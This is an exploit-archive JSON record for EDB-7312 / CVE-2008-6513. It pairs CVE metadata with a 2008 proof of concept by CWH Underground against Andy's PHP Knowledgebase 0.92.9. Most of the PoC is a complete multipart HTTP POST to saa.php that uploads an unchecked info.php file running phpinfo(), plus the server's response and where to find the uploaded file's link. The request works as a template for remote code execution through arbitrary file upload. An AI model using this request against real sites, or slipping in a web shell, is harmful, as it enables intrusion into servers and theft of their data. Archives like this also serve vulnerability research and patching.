{"exploit":{"id":"EDB-7312","name":"Andy's PHP KnowledgeBase 0.92.9 - Arbitrary File Upload","description":"Andy's PHP KnowledgeBase 0.92.9 - Arbitrary File Upload","cves":["CVE-2008-6513"],"author":"CWH Underground","published":"2008-12-01","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7312","path":"exploits/php/webapps/7312.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7312.txt","vulnerabilities":[{"id":"CVE-2008-6513","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in saa.php in Andy's PHP Knowledgebase (aphpkb) 0.92.9 allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a link that is listed by authors.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6513","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6513"},"updatedAt":"2024-08-07T11:34:46.397Z","retrievedAt":"2026-11-26T18:08:16.077Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7312.png?v=2","url":"https://exploitbin.com/exploits/EDB-7312","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7312/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7312/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"==============================================================\n Andy's PHP Knowledgebase Arbitrary File Upload Vulnerability\n==============================================================\n\n  ,--^----------,--------,-----,-------^--,\n  | |||||||||   `--------'     |          O\t.. CWH Underground Hacking Team ..\n  `+---------------------------^----------|\n    `\\_,-------, _________________________|\n      / XXXXXX /`|     /\n     / XXXXXX /  `\\   /\n    / XXXXXX /\\______(\n   / XXXXXX /\n  / XXXXXX /\n (________(\n  `------'\n\n\nAUTHOR : CWH Underground\nDATE   : 1 December 2008\nSITE   : cwh.citec.us\n\n\n#####################################################\nAPPLICATION : Andy's PHP Knowledgebase\nVERSION     : 0.92.9\nDOWNLOAD    : http://sourceforge.net/project/showfiles.php?group_id=113755\n#####################################################\n\n--- Arbitrary File Upload ---\n\nIn saa.php page, you can submit an article and attachment file to wait for approval from admin.\nImmediately after you submit the article and attachment file, the file has already been on the server without checking file type.\nYou can upload arbitary file through this form and the url to this file is in authors.php page.\n\n--------\n  POC\n--------\n\nPOST /cms/aphpkb/saa.php HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nConnection: keep-alive\nReferer: http://127.0.0.1/cms/aphpkb/saa.php?aid=2\nCookie: module=table; PHPSESSID=b311c4f9b1f3ee0c071f33ffd3b3176f\nContent-Type: multipart/form-data; boundary=---------------------------22955284022147\nContent-Length: 1080\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"title\"\n\nPoC Arbitrary File Upload\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"article\"\n\nPoC Arbitrary File Upload\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"keywords\"\n\nPoC Arbitrary File Upload\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"aid\"\n\n2\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"upload\"; filename=\"info.php\"\nContent-Type: application/octet-stream\n\n<? phpinfo(); ?>\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"description\"\n\nPHP File\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"aid\"\n\n2\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"a\"\n\n\n-----------------------------22955284022147\nContent-Disposition: form-data; name=\"submit\"\n\nSubmit/Save\n-----------------------------22955284022147--\n\n\nHTTP/1.x 200 OK\nDate: Mon, 01 Dec 2008 05:39:35 GMT\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\nX-Powered-By: PHP/5.2.6\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nContent-Length: 4578\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html\n\n\n-----------------------------------------------------------------------\n\nLink for uploaded file is in http://[Target]/[aphpkb_path]/authors.php\n\n\n#######################################################################################\nGreetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK\nSpecial Thx : asylu3, str0ke, citec.us, milw0rm.com\n#######################################################################################\n\n# milw0rm.com [2008-12-01]","sha256":"3018d964de77eff2634f3d4de10d353bd2926adef334aa680fa9db27a5ca61d9","bytes":3738,"fetchedAt":"2026-11-26T18:08:14.280Z","encoding":"utf-8 (display only; download retains original bytes)"}